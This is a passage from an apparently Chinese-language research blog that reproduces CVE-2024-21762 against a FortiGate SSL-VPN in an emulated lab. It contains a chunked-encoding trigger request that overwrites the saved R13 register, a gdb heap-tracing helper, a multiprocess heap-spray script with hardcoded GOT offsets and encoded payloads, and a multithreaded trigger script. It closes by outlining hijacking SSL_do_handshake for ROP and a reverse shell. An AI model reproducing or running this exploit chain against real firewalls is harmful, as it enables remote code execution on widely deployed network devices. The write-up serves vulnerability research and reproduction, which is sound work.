v3 = __ctype_b_loc();
v4 = v1 + 16;
v5 = 0;
v6 = *v3;
while ( (v6[i] & 0x1000) != 0 )
{
if ( v1 == v4 )
return -1;
if ( (unsigned __int8)(i - 48) <= 9u )
{
v7 = (char)(i - 48);
}
else if ( (unsigned __int8)(i - 65) > 5u )
{
v8 = i - 97;
v7 = (char)(i - 87);
if ( v8 >= 6u )
v7 = 0;
}
else
{
v7 = (char)(i - 55);
}
++v1;
v5 = v7 | (16 * v5);
i = *v1;
}
return v5;
}

可以利用这个特性直接写入到那里,这里不详细解释,这也是网上普遍的做法。

# Exploit

# 劫持 R13

我们有了两个字节的栈上任意写,而且是不可控的 0xd0a。
这里普遍的利用方法就是劫持栈上存储的 R13 寄存器,让其指向堆的另一块内存,在那个内存提前布置 payload,后面解引用取出函数指针调用的时候就可以随便劫持执行流了。
至于为什么不用别的方法别人分析的已经很清晰了。
经过调试与之前脚本的爆破,我们发现下面的 payload 可行:

1
2
3
4
5
6
7
8
data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 10.0.0.3:10443\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"Connection: close\r\n"
data += b"\r\n"
data += b"0"*18+b'\r\n'
data += b"0\r\n"*100
data += b"0"*254+b'\r\n'

因此我们成功修改了 R13:

# 堆喷

我们的目的是提前在劫持后的 R13 指向的地方布置 payload,就需要提前申请堆块到那里。

1
2
3
b *0x18A2006
source /home/akyoi/PWN/CVE/Fortigate/CVE-2024-21762/gdb.py
target remote 192.168.66.2:23

在这一部分犯了一个很大的错误,原本一开始以为只要单线程进行堆喷就行了,即目的是消耗 tcache 里面的堆块就可以堆喷到目标地址,结果堆喷了两三天都没有喷出来。甚至写了个脚本自动爆破不同 size 进行堆喷。
结果过了两天尝试进行多线程堆喷的时候发现成功率还是比较可观的(虽然也不是太高),但是运气好的话还是能喷到的。
反正我的堆喷思路就是:
创建一堆 SSL 连接,这时候就会申请一堆结构体,即 je_calloc 申请的 chunk,这时候因为没有发送业务的数据包,所以并不会进行申请别的堆块。
之后通过创建好的一堆连接发送数据包,这时会创建一堆 chunk,有几率申请到我们需要的地方。
看网上的文章的 payload 和 github 上的 poc 发现都是发了一个包再直接发一个触发崩溃的 poc 就感觉是进行了单线程堆喷。(或许也可能是版本的问题?当然也有可能某些版本比较幸运在 tcache 的开头就是目标地址的 chunk?)
这里对网上的 gdb 脚本做了修改,方便自己寻找合适的堆喷:
由于地址随机化的存在,某些时间段内这些参数能稳定堆喷成功但是过一段时间就会失败。所以这东西还是很玄学的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import gdb
import socket
import datetime # 增加时间戳支持

# --- 通信与文件配置 ---
UDP_IP = "127.0.0.1"
UDP_PORT = 5005
LOG_FILE = "heap_match_log.txt" # 匹配结果保存文件

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))
sock.setblocking(False)

context = {
"target_size": 0,
"malloc_size": 0,
"calloc_size": 0,
"dynamic_high_bits": 0
}

def log_to_file(content):
"""将匹配到的关键信息写入文件"""
with open(LOG_FILE, "a") as f:
timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
f.write(f"[{timestamp}] {content}\n")

def update_target_size():
try:
data, _ = sock.recvfrom(1024)
context["target_size"] = int(data.decode())
except:
pass

# --- Malloc 断点逻辑 ---
class MallocEntry(gdb.Breakpoint):
def stop(self):
update_target_size()
size = int(gdb.parse_and_eval("$rdi"))
if size//8 == context["target_size"]//8 and size != 0:
context["malloc_size"] = size
return False

class MallocExit(gdb.Breakpoint):
def stop(self):
size = context["malloc_size"]
if size > 0:
addr = int(gdb.parse_and_eval("$rax"))

# 碰撞检测逻辑:判断 malloc 分配的范围是否覆盖了 calloc 记录的关键高位/基址
is_match = (addr <= context["dynamic_high_bits"] and (addr+size) >= (context["dynamic_high_bits"]))

if is_match:
tag = ''
info = f"MATCH FOUND! malloc: {hex(addr)}-{hex(addr + size)} | Overlaps with calloc base: {hex(context['dynamic_high_bits'])}"

# 1. 终端输出
print(f"{tag}\n{info}\n{tag}")

# 2. 写入文件
# log_to_file(info)
else:
if (addr//0x10000)*0x10000 ==addr:
print(f"je_malloc: {hex(addr)} : {hex(addr + size)} | {hex(size)} | Cmp {hex(context["dynamic_high_bits"])}")

context["malloc_size"] = 0
return False

# --- Calloc 断点逻辑 ---
class CallocEntry(gdb.Breakpoint):
def stop(self):
size = int(gdb.parse_and_eval("$rsi"))

context["calloc_size"] = size
return False

class CallocExit(gdb.Breakpoint):
def stop(self):
size = context["calloc_size"]
if size > 0:
addr = int(gdb.parse_and_eval("$rax"))
if size == 0x730:
context["dynamic_high_bits"] = (((addr>>16)<<16) + 0xa0d) # 更新目标基址
print(f"dynamic_high_bits Updated : {hex(context["dynamic_high_bits"])}")

msg = f"je_calloc [TARGET SET]: {hex(addr)} : {hex(addr + size)} | {hex(size)} | {hex(context["dynamic_high_bits"])}"
print(msg)
# 可选:也将目标对象的分配记录下来,方便对比
# log_to_file(msg)

context["calloc_size"] = 0
return False

# 实例化断点
MallocEntry("je_malloc", internal=True)
MallocExit("*(je_malloc+205)", internal=True)
CallocEntry("je_calloc", internal=True)
CallocExit("*(je_calloc+340)", internal=True)

print(f"追踪脚本已加载:匹配结果将实时保存至 {LOG_FILE}")

同时使用下面的脚本进行堆喷(需调整里面的参数):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
import socket
import ssl
import time
import multiprocessing as mp
from functools import partial

# --- 通信配置 ---
UDP_IP = "127.0.0.1"
UDP_PORT = 5005
# 注意:UDP socket 在多进程中可能需要每个进程单独创建,或者使用线程锁,
# 这里为了简单,我们在每个子进程中重新创建 UDP socket 或在主进程处理通知。
# 如果 GDB 脚本不依赖严格的顺序,可以在子进程中独立发送。

# --- 核心配置 ---
TIMEOUT = 500
TARGET_ADDR = "192.168.66.2"
TARGET_PORT = 10443
START_LEN_A = 0x1000-0x20-0x10-0x80
STEP = 0
REPEAT_COUNT = 50

# SSL 上下文不能直接在进程间共享(取决于 Python 版本和 pickle 支持),
# 最好在子进程中重新初始化,或者只传递配置参数。
def create_ssl_context():
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
return context

def notify_gdb(size):
"""通知 GDB 脚本当前关注的 size"""
try:
# 每个进程拥有独立的 socket 以避免竞争条件
udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_sock.sendto(str(size + 0x20).encode(), (UDP_IP, UDP_PORT))
udp_sock.close()
except Exception as e:
print(f"[PID {mp.current_process().pid}] UDP Error: {e}")
import struct

def serialize_to_percent_hex(value: int) -> bytes:
"""
将一个整数序列化为 8 字节的 '%XX' 格式的字节串。
例如:0x4837430000000000 -> b"%48%37%43%00%00%00%00%00"

参数:
value (int): 需要序列化的整数 (必须在 0 到 2^64-1 之间)

返回:
bytes: 格式化后的字节串
"""
if not (0 <= value <= 0xFFFFFFFFFFFFFFFF):
raise ValueError("Value must be between 0 and 2^64 - 1")

# 1. 将整数打包为 8 字节的大端序二进制数据
# '>Q' 表示 Big-Endian (>) Unsigned Long Long (Q, 8 bytes)
packed_data = struct.pack('<Q', value)

# 2. 将每个字节格式化为 "%XX" 并拼接
# %02X 表示大写十六进制,不足两位补零
result_str = "".join(f"%{byte:02X}" for byte in packed_data)

# 3. 编码为 bytes
return result_str.encode('ascii')
target_GOT=0x43D8490
rdx=target_GOT-0x40 # 0x043D8450 PEM_read_bio_X509_REQ
rsi=undef_rdx_sub_0x70=0x42E260-0x70

getcwd_got=0x043DB498

pp=b''
pp+=b'B'*8+serialize_to_percent_hex(getcwd_got-0x60)+b'B'*0x20+serialize_to_percent_hex(0xdeadbeef)
pp=pp.ljust(0x298+0x10+0x10,b'B')

payloadA=b'B'*(0+0xa0d-0x800+0x18-0x32+0x800)+pp+serialize_to_percent_hex(rsi)
payloadA=payloadA.ljust(START_LEN_A,b'B')
payloadB=payloadA
def send_payload_worker(len_a):
"""工作函数:在每个子进程中运行"""
pid = mp.current_process().pid

# 【新增】发送当前 len_a 给 GDB
notify_gdb(len_a)

print(f"[PID {pid}] [+] Testing -> Len_A: {hex(len_a)}")

unit = (
b"="+payloadB + b"&")
body = unit * REPEAT_COUNT

data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 10.0.0.3:10443\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

try:
# 每个连接使用独立的 Socket 和 SSL 上下文
s = socket.create_connection((TARGET_ADDR, TARGET_PORT), timeout=TIMEOUT)
context = create_ssl_context()
ss = context.wrap_socket(s)

ss.sendall(data)
# 可以选择接收一点响应来判断是否成功,或者直接关闭
# response = ss.recv(1024)
time.sleep(0.1) # 短暂等待
# ss.close()
print(f"[PID {pid}] [OK] Sent successfully.")

except Exception as e:
print(f"[PID {pid}] [x] Connection Error: {e}")

def main():
# 配置并发数量
NUM_CLIENTS = 100 # 同时运行的客户端数量
TOTAL_REQUESTS = 2 # 总共想发送的请求数

print(f"[*] Starting Fuzzing with {NUM_CLIENTS} concurrent clients...")

# 生成任务列表 (这里假设所有客户端测试同一个长度,你也可以生成不同的长度列表)
# 如果你想让不同客户端测试不同长度,可以构建一个 lengths 列表
current_len = START_LEN_A
tasks = [current_len + (i * STEP) for i in range(TOTAL_REQUESTS)]

# 使用进程池
with mp.Pool(processes=NUM_CLIENTS) as pool:
# map 会阻塞直到所有任务完成,imap_unordered 可以在任务完成时立即返回结果(更适合实时观察)
for _ in pool.imap_unordered(send_payload_worker, tasks):
pass

print("[*] All tasks finished.")

if __name__ == "__main__":
# Windows/MacOS 下必须加这个保护
mp.set_start_method('spawn', force=True)
main()


多线程触发漏洞脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import socket
import ssl
import threading
import time
from pwn import log # 使用 pwn 的 log 功能让输出更清晰,也可以只用 print

TIMEOUT = 5
TARGET_ADDR = "192.168.66.2"
TARGET_PORT = 10443

# 配置 SSL 上下文 (全局只创建一次,线程安全)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE

def send_request_thread(thread_id, host, port, data):
"""
每个线程执行一次的函数
thread_id: 用于区分不同线程的输出
"""
address = (host, port)
thread_name = f"Thread-{thread_id}"

try:
# 1. 创建连接 (每个线程拥有独立的 socket)
s = socket.create_connection(address, timeout=TIMEOUT)
ss = context.wrap_socket(s)

log.info(f"[{thread_name}] Connected to {host}:{port}, sending payload...")

# 2. 发送数据
ss.sendall(data)

# 3. 接收响应
# log.info(f"[{thread_name}] Receiving response...")
response = b""

# 设置 socket 超时,防止 recv 无限阻塞
ss.settimeout(TIMEOUT)

while True:
try:
chunk = ss.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
# 正常结束,没有更多数据
break
except Exception as e:
log.warning(f"[{thread_name}] Recv error: {e}")
break

# 4. 处理输出
if response:
log.success(f"[{thread_name}] Received {len(response)} bytes.")
# 为了不让控制台太乱,只在第一次成功或特定条件下打印详细内容
# 如果需要看每个线程的详细回包,取消下面注释
"""
print(f"--- Response from {thread_name} ---")
try:
print(response.decode('utf-8', errors='replace'))
except:
print(response.hex())
print("-" * 30)
"""
else:
log.warning(f"[{thread_name}] No response received (Connection closed by peer?).")

ss.close()
s.close()

except Exception as e:
log.error(f"[{thread_name}] Connection Error: {e}")

def main():
# --- 构造 Payload ---
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 10.0.0.3:10443\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"Connection: close\r\n"
data += b"\r\n"
data += b"0"*18 + b'\r\n'
# data += b"01\r\n"
data += b"0\r\n"*100
data += b"0"*254 + b'\r\n'

# --- 并发配置 ---
NUM_THREADS = 20 # 同时运行的线程数
TOTAL_REQUESTS = 50 # 总共发送的请求数

log.info(f"Starting stress test with {NUM_THREADS} concurrent threads...")
log.info(f"Target: {TARGET_ADDR}:{TARGET_PORT}")

threads = []

# 启动线程
for i in range(TOTAL_REQUESTS):
t = threading.Thread(target=send_request_thread, args=(i, TARGET_ADDR, TARGET_PORT, data))
threads.append(t)
t.start()

# 控制并发密度:如果线程数达到上限,可以稍微等待或直接继续
# 这里我们一次性启动所有,依靠操作系统调度。
# 如果想严格限制“同时”只有 NUM_THREADS 个在跑,可以使用信号量或线程池,
# 但通常直接启动由 OS 调度对于这种短连接测试也没问题。

# 可选:如果目标容易崩溃,可以加一点微小延时错开握手时间
# time.sleep(0.01)

# 等待所有线程完成
for t in threads:
t.join()

log.info("All threads finished.")

if __name__ == "__main__":
main()

同时按照网上的思路进行劫持执行流,可以看到已经可以控制劫持的 system 函数了:

之后就是使用 SSL_do_handshake 替换掉 system 函数执行任意地址的 gadget 了,之后拿到 ROP 就可以干自己想干的事情了。比如反弹 node 的 shell。后续利用也就没有难度了。

# 总结

一个困扰了很久的漏洞复现。
由于是第一次接触这种设备类型的漏洞,前前后后踩了许多坑:
首先就是卡在打包的 rootfs.gz 过不了内核的 gz 解压缩(不是校验哈希的那一步),以及复制 rootfs 进去显示空间不足。当然这些小问题相对与下面的坑点还是微不足道的。(如果 patch 一下 elf 能再打包回 bzImage 将会简单很多,包括后续每次还需要调试在校验函数之后设置 RAX=0,如果直接 patch 之后将没有这么繁琐的步骤)
之后就是卡的最久的问题:堆喷。刚开始被网上的 POC 误导以为堆喷只需要进行单线程的堆喷就可以稳定堆喷到目标地址,然而当我写了个脚本进行 size 从 0x400 一直爆到 0x1000 多都没有喷出来的时候直接绷不住了。之后才开始想到堆喷如果进行多线程的堆喷应该成功率会增大不少。但是多线程的堆喷就很难控制了,经过研究也没有发现任何有用的规律(当然也不是什么都没有发现,比如每次申请的堆块被释放后都放到了类似 tcache 的地方。这也很明显,每次申请的堆块的顺序大致上都是跟上一次相反的顺序。虽然也会有一些小的细节不同)经过多线程的尝试,发现堆喷的成功率已经大大增加了(感觉能有 20% 的几率能找到合适的参数稳定在一定时间内成功堆喷)
但是不得不说这个漏洞的利用思路还是比较巧妙的:
首先就是从只可控地址的 2 字节 0x0a0d 的栈上任意地址写到可控的任意 call 函数的过程:劫持栈上的堆块指针,利用堆喷伪造结构体,伪造后面 call 的函数指针实现任意函数的 call。
之后就是从只能 call 动态链接的函数到任意地址的 gadget 的执行:利用 SSL_do_handshake 以及残留 RDI 堆块指针的特性伪造 SSL 结构体,调整结构体内容劫持 handshake_func。
可能是版本的问题?也可能是我的 qemu 的问题,导致网上堆喷的 poc 没有能成功的,自己的堆喷的 POC 也是成功率很低。(因为堆喷实在太看脸了)不过成功率也是可以接受的,毕竟我们打远程只需要成功一次就可以成功拿到权限。

# Reference

https://www.assetnote.io/resources/research/two-bytes-is-plenty-fortigate-rce-with-cve-2024-21762
https://github.com/h4x0r-dz/CVE-2024-21762